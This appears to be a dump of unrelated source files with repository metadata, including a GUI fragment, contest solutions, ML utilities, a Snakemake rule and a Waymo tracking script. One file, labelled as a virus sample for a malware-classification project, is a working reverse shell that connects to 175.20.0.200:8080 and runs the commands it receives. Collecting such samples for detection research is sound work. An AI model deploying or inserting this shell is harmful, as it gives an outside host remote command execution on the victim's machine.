f2 = Figure(figsize=(3,3), dpi=90, tight_layout=True)
#FIRST GRAPH
a=f.add_subplot(111)
a.set_title('PS1')
a.set_xlabel('Process Time (h)')
a.set_ylabel('Current (mA)')
a.set_ylim([0,ylimit])
global canvas
canvas=FigureCanvasTkAgg (f, self)
canvas.draw()
canvas.get_tk_widget().grid(column=0,row=9,columnspan=3,padx=10, pady=10, sticky='W') #graph position
canvas_frame=Frame(self)
canvas_frame.grid(column=0,row=12,columnspan=2,sticky='W')
## toolbar_frame= Frame(self) #New frame to bypass the pack limitation
## toolbar_frame.grid(column=0,row=12,columnspan=1,sticky='NESW')
## toolbar=NavigationToolbar2TkAgg(canvas,toolbar_frame)
## toolbar.update()
#SECOND GRAPH
b=f2.add_subplot(111)
b.set_title('PS2')
b.set_xlabel('Process Time (h)')
b.set_ylabel('Current (mA)')
b.set_ylim([0,y2limit])
#a.plot([],[])
global canvas2
canvas2=FigureCanvasTkAgg (f2, self)
canvas2.draw()
canvas2.get_tk_widget().grid(column=3,row=9,columnspan=2,padx=10, pady=10,sticky='W') #graph position
## toolbar_frame2= Frame(self) #New frame to bypass the pack limitation
## toolbar_frame2.grid(column=4,row=12,columnspan=1,sticky='NESW')
## toolbar2=NavigationToolbar2TkAgg(canvas2,toolbar_frame2)
#POWER SUPPLIES STATUS DISPLAY
self.sensordisplay = Tkinter.StringVar() #variable to call label
global statusdisplay
statusdisplay=self.sensordisplay
sensordisplaylabel = Tkinter.Label(self,textvariable=self.sensordisplay,
anchor="center",fg="white",bg="black",font=("Helvetica", 14)) #putting a label behind the labels. Labels display text
sensordisplaylabel.grid(column=0,row=25,columnspan=8,sticky='NESW',padx=10, pady=10) #label position
self.sensordisplay.set(u"POWER SUPPLY 1 & 2 OFF") #default value in display
#SIZING PARAMETERS
#self.grid_columnconfigure(0,weight=1) #configure column 0 to resize with a weight of 1
self.resizable(False,False) #a constraints allowing resizeable along horizontally(column)
#(false) and not vertically(rows)--false)
self.update()
self.geometry(self.geometry()) #prevents the window from resizing all the time
#----------------------------------------------------------------------------------------------------------------------------------
# SETTINGS SCREEN
def OnSettingsClick(self): #w
self.settings=Tkinter.Toplevel()
self.settings.title("Control Parameters")
self.settings.geometry('250x300')
#FILENAME
self.settings.filename = Tkinter.StringVar() #variable to call label
defaultbg = self.cget('bg')
settings_label = Tkinter.Label(self.settings,textvariable=self.settings.filename,
anchor="w",fg="black",bg=defaultbg)
settings_label.grid(column=0,row=0,columnspan=1,sticky='EW') #label position
self.settings.filename.set(u"Filename") #default value in display
self.settings.filenamev = Tkinter.StringVar() #variable to call text entry
settings_value= Tkinter.Entry(self.settings,textvariable=self.settings.filenamev) #text entry
settings_value.grid(column=1,row=0,sticky='NW') #text entry location
self.settings.filenamev.set(u"MEC_Data.txt") #default text prompt
#TOLERANCE
self.settings.tolerance = Tkinter.StringVar() #variable to call label
defaultbg = self.cget('bg')
settings_label = Tkinter.Label(self.settings,textvariable=self.settings.tolerance,
anchor="w",fg="black",bg=defaultbg)
settings_label.grid(column=0,row=1,columnspan=1,sticky='EW') #label position
self.settings.tolerance.set(u"Tolerance") #default value in display
self.settings.tolerancev = Tkinter.StringVar() #variable to call text entry
settings_value= Tkinter.Entry(self.settings,textvariable=self.settings.tolerancev) #text entry
settings_value.grid(column=1,row=1,sticky='NW') #text entry location
self.settings.tolerancev.set(str(tolerance)) #default text prompt
if __name__ == "__main__": #creation of main. This is where you put your main code
app = simpleapp_tk(None)
app.title('MEC POWER SUPPLY PROGRAM') #title of application
app.mainloop()
| [
"ademola.adekunle@mail.mcgill.ca"
] | ademola.adekunle@mail.mcgill.ca |
89e8c2862eb94d0971d240632f6c974a62b9c46d | 6b2a8dd202fdce77c971c412717e305e1caaac51 | /solutions_5658282861527040_0/Python/xsot/b.py | 837b18be5ec2789529bff938d391f3cd34053ff6 | [] | no_license | alexandraback/datacollection | 0bc67a9ace00abbc843f4912562f3a064992e0e9 | 076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf | refs/heads/master | 2021-01-24T18:27:24.417992 | 2017-05-23T09:23:38 | 2017-05-23T09:23:38 | 84,313,442 | 2 | 4 | null | null | null | null | UTF-8 | Python | false | false | 255 | py | for TC in range(1, int(raw_input()) + 1):
a, b, k = map(int, raw_input().split())
ans = 0
for i in range(a):
for j in range(b):
if i&j < k:
ans += 1
print "Case #%d: %d" % (TC, ans) | [
"eewestman@gmail.com"
] | eewestman@gmail.com |
0682516f2179e263d15d82dac220ebb9ffc32e3a | 575d197af5bbc31b89df37f8733e81707294948c | /testing/examples/pytest/average02/average.py | 7712c0b8238a9ff4df9a5ca62e89b42e9e85eee6 | [] | no_license | tisnik/python-programming-courses | 5c7f1ca9cae07a5f99dd8ade2311edb30dc3e088 | 4e61221b2a33c19fccb500eb5c8cdb49f5b603c6 | refs/heads/master | 2022-05-13T07:51:41.138030 | 2022-05-05T15:37:39 | 2022-05-05T15:37:39 | 135,132,128 | 3 | 2 | null | 2021-04-06T12:19:16 | 2018-05-28T08:27:19 | Python | UTF-8 | Python | false | false | 158 | py | """Výpočet průměru."""
def average(x):
"""Výpočet průměru ze seznamu hodnot předaných v parametru x."""
return sum(x) / float(1 + len(x))
| [
"ptisnovs@redhat.com"
] | ptisnovs@redhat.com |
8125047f5291f3456565b3484d94eceda88f6a06 | d06556490f9cac5d4843d4753965a59874ca2451 | /debias/utils/training.py | ac187b341a3b76481812cdf59259900622985b08 | [] | no_license | grayhong/bias-contrastive-learning | 7ff72af743b20582e44118729ab61d530e4af164 | 35562b6d700356c3a3c7346781f0310ca38f6fd1 | refs/heads/master | 2023-08-20T08:23:34.386037 | 2021-10-26T15:39:07 | 2021-10-26T15:39:07 | 421,264,384 | 22 | 6 | null | null | null | null | UTF-8 | Python | false | false | 827 | py | import numpy as np
import torch
class GradReverse(torch.autograd.Function):
@staticmethod
def forward(ctx, x):
return x.view_as(x)
@staticmethod
def backward(ctx, grad_output):
return grad_output.neg() * 0.1
def grad_reverse(x):
return GradReverse.apply(x)
class EMA:
def __init__(self, label, alpha=0.9):
self.label = label
self.alpha = alpha
self.parameter = torch.zeros(label.size(0))
self.updated = torch.zeros(label.size(0))
def update(self, data, index):
self.parameter[index] = self.alpha * self.parameter[index] + (1 - self.alpha * self.updated[index]) * data
self.updated[index] = 1
def max_loss(self, label):
label_index = np.where(self.label == label)[0]
return self.parameter[label_index].max() | [
"andante072@gmail.com"
] | andante072@gmail.com |
4d0dac39959fe9af6b0ac34deb4b198a2b0eb6eb | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad239.py | a5aa6c4e78002837e16dae145993a43d6d06ef7e | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 288 | py | import socket
import lzma
import subprocess
import crypt
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.check_output(command, shell=True)
s.send(data)
| [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
96ff574b95f5a766ddb8f1c29359df0e7d4e1ced | 9e1ee346554add6eeb8e2a8477d556c4d16d3f56 | /pymanopt/tools/autodiff/_tensorflow.py | de470faaf27a60c787670b41a8fdf7548055513b | [
"BSD-3-Clause"
] | permissive | plcrodrigues/pymanopt | 41e2a1f0726a95ef91787b9cbc977541ef5ba6df | 542a3a41b4d5cb464e6e92bb732c4906ffe84e8d | refs/heads/master | 2020-12-24T07:02:20.773266 | 2016-11-15T18:01:55 | 2016-11-15T18:01:55 | 73,384,545 | 0 | 0 | null | 2016-11-10T13:27:02 | 2016-11-10T13:27:02 | null | UTF-8 | Python | false | false | 2,913 | py | """
Module containing functions to differentiate functions using tensorflow.
"""
try:
import tensorflow as tf
from tensorflow.python.ops.gradients import _hessian_vector_product
except ImportError:
tf = None
from ._backend import Backend, assert_backend_available
class TensorflowBackend(Backend):
def __init__(self):
if tf is not None:
self._session = tf.Session()
def __str__(self):
return "tensorflow"
def is_available(self):
return tf is not None
@assert_backend_available
def is_compatible(self, objective, argument):
if isinstance(objective, tf.Tensor):
if (argument is None or not
isinstance(argument, tf.Variable) and not
all([isinstance(arg, tf.Variable)
for arg in argument])):
raise ValueError(
"Tensorflow backend requires an argument (or sequence of "
"arguments) with respect to which compilation is to be "
"carried out")
return True
return False
@assert_backend_available
def compile_function(self, objective, argument):
if not isinstance(argument, list):
def func(x):
feed_dict = {argument: x}
return self._session.run(objective, feed_dict)
else:
def func(x):
feed_dict = {i: d for i, d in zip(argument, x)}
return self._session.run(objective, feed_dict)
return func
@assert_backend_available
def compute_gradient(self, objective, argument):
"""
Compute the gradient of 'objective' and return as a function.
"""
tfgrad = tf.gradients(objective, argument)
if not isinstance(argument, list):
def grad(x):
feed_dict = {argument: x}
return self._session.run(tfgrad[0], feed_dict)
else:
def grad(x):
feed_dict = {i: d for i, d in zip(argument, x)}
return self._session.run(tfgrad, feed_dict)
return grad
@assert_backend_available
def compute_hessian(self, objective, argument):
if not isinstance(argument, list):
argA = tf.Variable(tf.zeros(tf.shape(argument)))
tfhess = _hessian_vector_product(objective, [argument], [argA])
def hess(x, a):
feed_dict = {argument: x, argA: a}
return self._session.run(tfhess[0], feed_dict)
else:
argA = [tf.Variable(tf.zeros(tf.shape(arg)))
for arg in argument]
tfhess = _hessian_vector_product(objective, argument, argA)
def hess(x, a):
feed_dict = {i: d for i, d in zip(argument+argA, x+a)}
return self._session.run(tfhess, feed_dict)
return hess
| [
"git@sweichwald.de"
] | git@sweichwald.de |
a0da9721a3949e0987120a926d9073cf5045f418 | f68065baf489013c926dcfea9994878716d19586 | /manage.py | 15344070d0319c35fadbabae09a94c0ef757a5c3 | [] | no_license | groyce/pots | 06667fdc686b74a897c42879cbed5803e9efb154 | ac839943c84c3135cb4596a8f734e4a061086e10 | refs/heads/master | 2020-04-10T01:42:55.863071 | 2018-12-06T19:47:18 | 2018-12-06T19:47:18 | 160,723,310 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 540 | py | #!/usr/bin/env python
import os
import sys
if __name__ == '__main__':
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'TinyPots.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
| [
"groyce@unomaha.edu"
] | groyce@unomaha.edu |
0de92bbf70351c4902859d65773f4d634b5846de | 42fdf741bf64ea2e63d1546bb08356286f994505 | /macrocab_ex1/rasp30a_gen8.py | 77a2b1bf37536997c1508fe95edb997127f4633c | [] | no_license | skim819/RASP_Workspace_sihwan | 7e3cd403dc3965b8306ec203007490e3ea911e3b | 0799e146586595577c8efa05c647b8cb92b962f4 | refs/heads/master | 2020-12-24T05:22:25.775823 | 2017-04-01T22:15:18 | 2017-04-01T22:15:18 | 41,511,563 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,439 | py | self.dev_pins = {'fgota_in':2,'ota_buf_in':1,'ota_in':2, 'cap_in':1, 'nfet_in':2, 'pfet_in':2,'tgate_in':2,'mux4_1_in':8, 'nmirror_in':1,'ladder_blk_in':2, 'c4_blk_in':2,'Nagating_blk_in':2,'speech_in':3,'gnd_out_in':2,'vdd_out_in':2,'in2in_x1_in':3,'in2in_x6_in':13,'volt_div_in':2,'integrator_in':3,'integrator_nmirror_in':3,'INFneuron_in':3,'lpf_in':1,'nfet_i2v_in':1,'pfet_i2v_in':1,'peak_detector_in':2,'ramp_fe_in':1,'sigma_delta_fe_in':3,'cap_sense_in':2,'HOP_bif_in':1,'lpf_2_in':1,'hhneuron_in':4,'h_rect_in':2,'hh_neuron_b_debug_in':4,'dendiff_in':6,'switch_cap_in':5,'common_source1_in':1,'common_drain_in':2,'TIA_blk_in':1,'ladder_filter_in':2, 'ichar_nfet_in':2,'bias_gen_in':1,'inv_mcab_in':1,'fgota_out':1,'ota_buf_out':1,'ota_out':1, 'cap_out':1, 'nfet_out':1, 'pfet_out':1,'tgate_out':1,'mux4_1_out':1, 'nmirror_out':1,'ladder_blk_out':2, 'c4_blk_out':1,'Nagating_blk_out':1,'speech_out':2,'gnd_out_out':1,'vdd_out_out':1,'in2in_x1_out':1,'in2in_x6_out':1,'volt_div_out':1,'integrator_out':1,'integrator_nmirror_out':1,'INFneuron_out':1,'lpf_out':1,'nfet_i2v_out':1,'pfet_i2v_out':1,'peak_detector_out':1,'ramp_fe_out':1,'sigma_delta_fe_out':1,'cap_sense_out':1,'HOP_bif_out':1,'lpf_2_out':1,'hhneuron_out':3,'h_rect_out':1,'hh_neuron_b_debug_out':3,'dendiff_out':1,'switch_cap_out':1,'common_source1_out':1,'common_drain_out':1,'TIA_blk_out':1,'ladder_filter_out':3,'ichar_nfet_out':1,'bias_gen_out':2,'inv_mcab_out':1}
| [
"ubuntu@ubuntu-VirtualBox.(none)"
] | ubuntu@ubuntu-VirtualBox.(none) |
eab6072d65498bbccca47bce108b12232a5bb85f | b07da14cf7bfca47f0d67de1f462eaa0d547248b | /src/chaos_service/config/config_storage.py | 6149ab4fbaed09af4c01c5db942666dec225f7ea | [
"BSD-2-Clause"
] | permissive | glimsil/chaos-service | 2e3e714fe235e1269907902936adff567e9dca7d | 0f4f9fa3e1202ae869a1915e38a1607b2c34f626 | refs/heads/main | 2023-01-14T04:06:18.277446 | 2020-11-21T23:50:42 | 2020-11-21T23:50:42 | 314,880,470 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,011 | py | import json
import os
from pathlib import Path
class ConfigStorage:
DATA = {}
def get_config(self):
return self.DATA
def create_config(self, chaos_type, start_at_request, chance_of_sucess, chance_of_sucess_until_hit):
if(start_at_request is not None):
start_at_request = int(start_at_request)
if(chance_of_sucess is not None):
chance_of_sucess = int(chance_of_sucess)
if(chance_of_sucess > 100):
chance_of_sucess = 100
elif(chance_of_sucess < 0):
chance_of_sucess = 0
if(chance_of_sucess_until_hit is not None):
chance_of_sucess_until_hit = int(chance_of_sucess_until_hit)
if(chance_of_sucess_until_hit > 100):
chance_of_sucess_until_hit = 100
elif(chance_of_sucess_until_hit < 0):
chance_of_sucess_until_hit = 0
error_code = 0
if(chaos_type == 'internal_server_error'):
error_code = 500
if(chaos_type == 'bad_gateway'):
error_code = 502
if(chaos_type == 'service_unavailable'):
error_code = 503
if(chaos_type == 'gateway_timeout'):
error_code = 504
if(chaos_type == 'version_not_supported'):
error_code = 505
if(chaos_type == 'bad_request'):
error_code = 400
if(chaos_type == 'connection_refused'):
error_code = -1
if(chaos_type == 'chaos'):
error_code = 0
self.DATA = {
"type" : chaos_type,
"start_at_request" : 10 if (start_at_request is None and chance_of_sucess is None and chance_of_sucess_until_hit is None) else start_at_request,
"chance_of_sucess" : chance_of_sucess,
"chance_of_sucess_until_hit" : chance_of_sucess_until_hit,
"error_code" : error_code
}
print("create_config " + str(self.DATA) )
return self.DATA | [
"gusdlim@gmail.com"
] | gusdlim@gmail.com |
2bb086330b7f4dd508234e0930ada3535b5724cc | 3fe4fff429aea7177443c8ae1b46715c9b456dea | /Logistics Map.py | 2ad122d62448f6de7258cafb9cd50dd613a02115 | [] | no_license | ppauly554/power-code | f15b101c6f7ac0f893244a20944fab4831af0d44 | fc09aba005035cb5eda982eb2f6a07571e8a80d3 | refs/heads/master | 2023-01-13T01:41:41.910956 | 2020-11-12T18:11:23 | 2020-11-12T18:11:23 | 265,694,473 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,373 | py | import matplotlib.pyplot as plt
# Xn+1 = l * Xn(1-Xn)
# Zn + 1 refers to a recursion of the same formula but with Xn being the return
# l is a rate of growth
# Xn is population density
# /* CHANGEABLE
const_Xn = .5
# */
lam = 0 # the rising x value; short for lambda
Xn = const_Xn # Is a constant to grab from
cords = [] # the coordinates to plot
# /* OPTIONAL
temp = lam # temp is used later
# */
growth = lambda: lam * Xn * (1 - Xn) # a function that runs the formula and outputs Xn
while lam <= 4: # values won't register passed 4
for i in range(30): # 30 points on each x value allows shape to be visible
Xn = growth() # this is the Xn+1 part of the formula where the answer is put back into the formula; recursion
if not 0 <= Xn <= 1: # makes sure values are within percentage range if not it jumps out of for loop
break
else:
cords.append((lam, Xn)) # adds the coordinate to the cords list
lam = round(lam + .05, 2) # increase x value, and rounds it up for readability
Xn = const_Xn # resets Xn for next lam
# /* OPTIONAL
if lam != temp: # this reads out the number and skips repeats
print(lam)
temp = lam
# */
print("list size:", len(cords))
plt.title('logistics map')
plt.scatter([x[0] * 1000 for x in cords], [y[1] * 1000 for y in cords])
plt.show()
| [
"noreply@github.com"
] | ppauly554.noreply@github.com |
7dee876309c29b379e49ec85f9936c63a7294e00 | 5a2505df4006685305bd945d897f09aba0ff44ca | /workflow/rules/Star.smk | cb5488e8e30df5934e1e55add18d418e8989af5a | [] | no_license | jensenrichardson/rna-seq | 4352a49722aec44de6418a67e62a088f85b37d06 | dd15681bcec74e0538a259bf8926f8f9185e0e1c | refs/heads/main | 2023-04-05T08:49:00.096590 | 2021-04-17T18:01:24 | 2021-04-17T18:01:24 | 344,293,055 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,516 | smk | import pandas as pd
import ast
#configfile: "config.yaml"
samples = pd.read_table(config["samples_tsv"], converters={"files": ast.literal_eval}).set_index("sample_name", drop=False)
wildcard_constraints:
sample ="|".join(samples.index.tolist())
rule STAR_Map:
input:
lambda wildcards: samples.loc[wildcards.sample, "files"],
genome=config["star_genome"]
params:
command=lambda wildcards: samples.loc[wildcards.sample, "command"]
output:
bam=temp("02-mapping/{sample}/{sample}.Aligned.sortedByCoord.out.bam")
conda:
"envs/star.yaml"
log:
fin="02-mapping/{sample}/{sample}.Log.final.out",
full="02-mapping/{sample}/{sample}.Log.out",
prog="02-mapping/{sample}/{sample}.Log.progress.out",
sjo="02-mapping/{sample}/{sample}.SJ.out.tab",
sji="02-mapping/{sample}/{sample}._STARgenome/sjdbInfo.txt",
sjl="02-mapping/{sample}/{sample}._STARgenome/sjdbList.out.tab",
pass1="02-mapping/{sample}/{sample}._STARpass1/Log.final.out",
pass1s="02-mapping/{sample}/{sample}._STARpass1/SJ.out.tab"
resources:
runtime=lambda wildcards, attempt:30 + (60 * (attempt - 1)),
cores=42
shell:
"STAR "
"--runThreadN {resources.cores} "
"--genomeDir {input.genome} "
"{params.command} "
"--outSAMtype BAM SortedByCoordinate "
"--twopassMode Basic "
"--outFileNamePrefix ./02-mapping/{wildcards.sample}/{wildcards.sample}. &> /dev/null"
| [
"jensen.richardson@utexas.edu"
] | jensen.richardson@utexas.edu |
54c53c759cd37e22b3b3f9b8db78a68f122b8701 | e0660d7a6125bece559e1564921dd29fe0f1506c | /hexlistserver/forms/textarea.py | a1f2ae9adcfe4d66835f2d99a080a495476c179d | [] | no_license | yvan/hexlistserver | ba0b661941549cfce1d5fd5a36ad908a9872238a | cf96508bc7b926eba469629254e4b5cc81470af3 | refs/heads/master | 2021-01-19T10:08:32.833174 | 2017-08-04T03:46:29 | 2017-08-04T03:46:29 | 55,884,098 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 294 | py | from flask.ext.wtf import Form
from wtforms.fields import TextAreaField, SubmitField
from wtforms.validators import DataRequired
class TextareaForm(Form):
links = TextAreaField('Links', validators=[DataRequired()], render_kw={"placeholder": "Put your links here..."})
'''
author @yvan
''' | [
"yvanscher@gmail.com"
] | yvanscher@gmail.com |
3391c475e16d71109fe8fe67607f060a4889946b | 511a44754de5ab15a4255e7c0a815cb42161c94d | /student/loop_over_dataset_f4.py | de541d88eeaf41ec27ca8e00c01fae874c9ad155 | [] | no_license | jckuri/Sensor-Fusion-and-Object-Tracking-2 | 3a8f08861afbfebaae18224ccc9ff6a39bc62a19 | ec4a17a1169078894ad26e0da9cf2ddbc4cab547 | refs/heads/main | 2023-03-13T08:03:49.573918 | 2021-03-03T22:42:25 | 2021-03-03T22:42:25 | 343,414,018 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 12,535 | py | # ---------------------------------------------------------------------
# Project "Track 3D-Objects Over Time"
# Copyright (C) 2020, Dr. Antje Muntzinger / Dr. Andreas Haja.
#
# Purpose of this file : Loop over all frames in a Waymo Open Dataset file,
# detect and track objects and visualize results
#
# You should have received a copy of the Udacity license together with this program.
#
# https://www.udacity.com/course/self-driving-car-engineer-nanodegree--nd013
# ----------------------------------------------------------------------
#
##################
## Imports
## general package imports
import os
import sys
import numpy as np
import math
import cv2
import matplotlib.pyplot as plt
import copy
## Add current working directory to path
sys.path.append(os.getcwd())
## Waymo open dataset reader
from tools.waymo_reader.simple_waymo_open_dataset_reader import utils as waymo_utils
from tools.waymo_reader.simple_waymo_open_dataset_reader import WaymoDataFileReader, dataset_pb2, label_pb2
## 3d object detection
import student.objdet_pcl as pcl
import student.objdet_detect as det
import student.objdet_eval as eval
import misc.objdet_tools as tools
from misc.helpers import save_object_to_file, load_object_from_file, make_exec_list
from student.filter import Filter
from student.trackmanagement import Trackmanagement
from student.association import Association
from student.measurements import Sensor, Measurement
from misc.evaluation import plot_tracks, plot_rmse, make_movie
import misc.params as params
##################
## Set parameters and perform initializations
## Select Waymo Open Dataset file and frame numbers
data_filename = 'training_segment-1005081002024129653_5313_150_5333_150_with_camera_labels.tfrecord' # Sequence 1
# data_filename = 'training_segment-10072231702153043603_5725_000_5745_000_with_camera_labels.tfrecord' # Sequence 2
# data_filename = 'training_segment-10963653239323173269_1924_000_1944_000_with_camera_labels.tfrecord' # Sequence 3
show_only_frames = [0, 200] #[100, 130] #[0, 200] # show only frames in interval for debugging
## Prepare Waymo Open Dataset file for loading
data_fullpath = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'dataset', data_filename) # adjustable path in case this script is called from another working directory
results_fullpath = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'results')
datafile = WaymoDataFileReader(data_fullpath)
datafile_iter = iter(datafile) # initialize dataset iterator
## Initialize object detection
configs_det = det.load_configs(model_name='darknet') # options are 'darknet', 'fpn_resnet'
model_det = det.create_model(configs_det)
configs_det.use_labels_as_objects = False # True = use groundtruth labels as objects, False = use model-based detection
configs_det.lim_y = [-25, 25]
## Initialize tracking
KF = Filter() # set up Kalman filter
association = Association() # init data association
manager = Trackmanagement() # init track manager
lidar = None # init lidar sensor object
camera = None # init camera sensor object
## Selective execution and visualization
exec_detection = [] # options are 'bev_from_pcl', 'detect_objects', 'validate_object_labels', 'measure_detection_performance'; options not in the list will be loaded from file
exec_tracking = ['perform_tracking'] # options are 'perform_tracking'
exec_visualization = ['show_tracks', 'make_tracking_movie'] # options are 'show_range_image', 'show_bev', 'show_pcl', 'show_labels_in_image', 'show_objects_and_labels_in_bev', 'show_objects_in_bev_labels_in_camera', 'show_tracks', 'show_detection_performance', 'make_tracking_movie'
exec_list = make_exec_list(exec_detection, exec_tracking, exec_visualization)
vis_pause_time = 0 # set pause time between frames in ms (0 = stop between frames until key is pressed)
##################
## Perform detection & tracking over all selected frames
cnt_frame = 0
all_labels = []
det_performance_all = []
if 'show_tracks' in exec_list:
fig, (ax2, ax) = plt.subplots(1,2) # init track plot
while True:
try:
## Get next frame from Waymo dataset
frame = next(datafile_iter)
if cnt_frame < show_only_frames[0]:
cnt_frame = cnt_frame + 1
continue
elif cnt_frame > show_only_frames[1]:
print('reached end of selected frames')
break
print('------------------------------')
print('processing frame #' + str(cnt_frame))
#################################
## Perform 3D object detection
## Extract calibration data and front camera image from frame
lidar_name = dataset_pb2.LaserName.TOP
camera_name = dataset_pb2.CameraName.FRONT
lidar_calibration = waymo_utils.get(frame.context.laser_calibrations, lidar_name)
camera_calibration = waymo_utils.get(frame.context.camera_calibrations, camera_name)
if 'load_image' in exec_list:
image = tools.extract_front_camera_image(frame)
## Compute lidar point-cloud from range image
if 'pcl_from_rangeimage' in exec_list:
print('computing point-cloud from lidar range image')
lidar_pcl = tools.pcl_from_range_image(frame, lidar_name)
else:
print('loading lidar point-cloud from result file')
lidar_pcl = load_object_from_file(results_fullpath, data_filename, 'lidar_pcl', cnt_frame)
## Compute lidar birds-eye view (bev)
if 'bev_from_pcl' in exec_list:
print('computing birds-eye view from lidar pointcloud')
lidar_bev = pcl.bev_from_pcl(lidar_pcl, configs_det)
else:
print('loading birds-eve view from result file')
lidar_bev = load_object_from_file(results_fullpath, data_filename, 'lidar_bev', cnt_frame)
## 3D object detection
if (configs_det.use_labels_as_objects==True):
print('using groundtruth labels as objects')
detections = tools.convert_labels_into_objects(frame.laser_labels, configs_det)
else:
if 'detect_objects' in exec_list:
print('detecting objects in lidar pointcloud')
detections = det.detect_objects(lidar_bev, model_det, configs_det)
else:
print('loading detected objects from result file')
detections = load_object_from_file(results_fullpath, data_filename, 'detections_' + configs_det.arch + '_' + str(configs_det.conf_thresh), cnt_frame)
## Validate object labels
if 'validate_object_labels' in exec_list:
print("validating object labels")
valid_label_flags = tools.validate_object_labels(frame.laser_labels, lidar_pcl, configs_det, 0 if configs_det.use_labels_as_objects==True else 10)
else:
print('loading object labels and validation from result file')
valid_label_flags = load_object_from_file(results_fullpath, data_filename, 'valid_labels', cnt_frame)
## Performance evaluation for object detection
if 'measure_detection_performance' in exec_list:
print('measuring detection performance')
det_performance = eval.measure_detection_performance(detections, frame.laser_labels, valid_label_flags, configs_det.min_iou)
else:
print('loading detection performance measures from file')
det_performance = load_object_from_file(results_fullpath, data_filename, 'det_performance_' + configs_det.arch + '_' + str(configs_det.conf_thresh), cnt_frame)
det_performance_all.append(det_performance) # store all evaluation results in a list for performance assessment at the end
## Visualization for object detection
if 'show_range_image' in exec_list:
img_range = pcl.show_range_image(frame, lidar_name)
img_range = img_range.astype(np.uint8)
cv2.imshow('range_image', img_range)
cv2.waitKey(vis_pause_time)
if 'show_pcl' in exec_list:
pcl.show_pcl(lidar_pcl)
if 'show_bev' in exec_list:
tools.show_bev(lidar_bev, configs_det)
cv2.waitKey(vis_pause_time)
if 'show_labels_in_image' in exec_list:
img_labels = tools.project_labels_into_camera(camera_calibration, image, frame.laser_labels, valid_label_flags, 0.5)
cv2.imshow('img_labels', img_labels)
cv2.waitKey(vis_pause_time)
if 'show_objects_and_labels_in_bev' in exec_list:
tools.show_objects_labels_in_bev(detections, frame.laser_labels, lidar_bev, configs_det)
cv2.waitKey(vis_pause_time)
if 'show_objects_in_bev_labels_in_camera' in exec_list:
tools.show_objects_in_bev_labels_in_camera(detections, lidar_bev, image, frame.laser_labels, valid_label_flags, camera_calibration, configs_det)
cv2.waitKey(vis_pause_time)
#################################
## Perform tracking
if 'perform_tracking' in exec_list:
# set up sensor objects
if lidar is None:
lidar = Sensor('lidar', lidar_calibration)
if camera is None:
camera = Sensor('camera', camera_calibration)
# preprocess lidar detections
meas_list_lidar = []
for detection in detections:
meas_list_lidar = lidar.generate_measurement(cnt_frame, detection[1:], meas_list_lidar)
# preprocess camera detections
meas_list_cam = []
for label in frame.camera_labels[0].labels:
if(label.type == label_pb2.Label.Type.TYPE_VEHICLE):
box = label.box
# use camera labels as measurements and add some random noise
z = [box.center_x, box.center_y, box.width, box.length]
z[0] = z[0] + np.random.normal(0, params.sigma_cam_i)
z[1] = z[1] + np.random.normal(0, params.sigma_cam_j)
meas_list_cam = camera.generate_measurement(cnt_frame, z, meas_list_cam)
# Kalman prediction
for track in manager.track_list:
print('predict track', track.id)
KF.predict(track)
track.set_t((cnt_frame - 1)*0.1) # save next timestamp
# associate all lidar measurements to all tracks
association.associate_and_update(manager, meas_list_lidar, KF, cnt_frame)
# associate all camera measurements to all tracks
association.associate_and_update(manager, meas_list_cam, KF, cnt_frame)
# save results for evaluation
result_dict = {}
for track in manager.track_list:
result_dict[track.id] = track
manager.result_list.append(copy.deepcopy(result_dict))
label_list = [frame.laser_labels, valid_label_flags]
all_labels.append(label_list)
# visualization
if 'show_tracks' in exec_list:
#fig, ax, ax2 = plot_tracks(fig, ax, ax2, manager.track_list, meas_list_lidar, frame.laser_labels, valid_label_flags, image, camera, configs_det)
fig, ax, ax2 = plot_tracks(fig, ax, ax2, manager.track_list, meas_list_cam, meas_list_lidar, frame.laser_labels, valid_label_flags, image, camera, configs_det)
if 'make_tracking_movie' in exec_list:
# save track plots to file
fname = results_fullpath + '/tracking%03d.png' % cnt_frame
print('Saving frame', fname)
fig.savefig(fname)
# increment frame counter
cnt_frame = cnt_frame + 1
except StopIteration:
# if StopIteration is raised, break from loop
print("StopIteration has been raised\n")
break
#################################
## Post-processing
## Evaluate object detection performance
if 'show_detection_performance' in exec_list:
eval.compute_performance_stats(det_performance_all, configs_det)
## Plot RMSE for all tracks
if 'show_tracks' in exec_list:
plot_rmse(manager, all_labels)
## Make movie from tracking results
if 'make_tracking_movie' in exec_list:
make_movie(results_fullpath)
| [
"noreply@github.com"
] | jckuri.noreply@github.com |
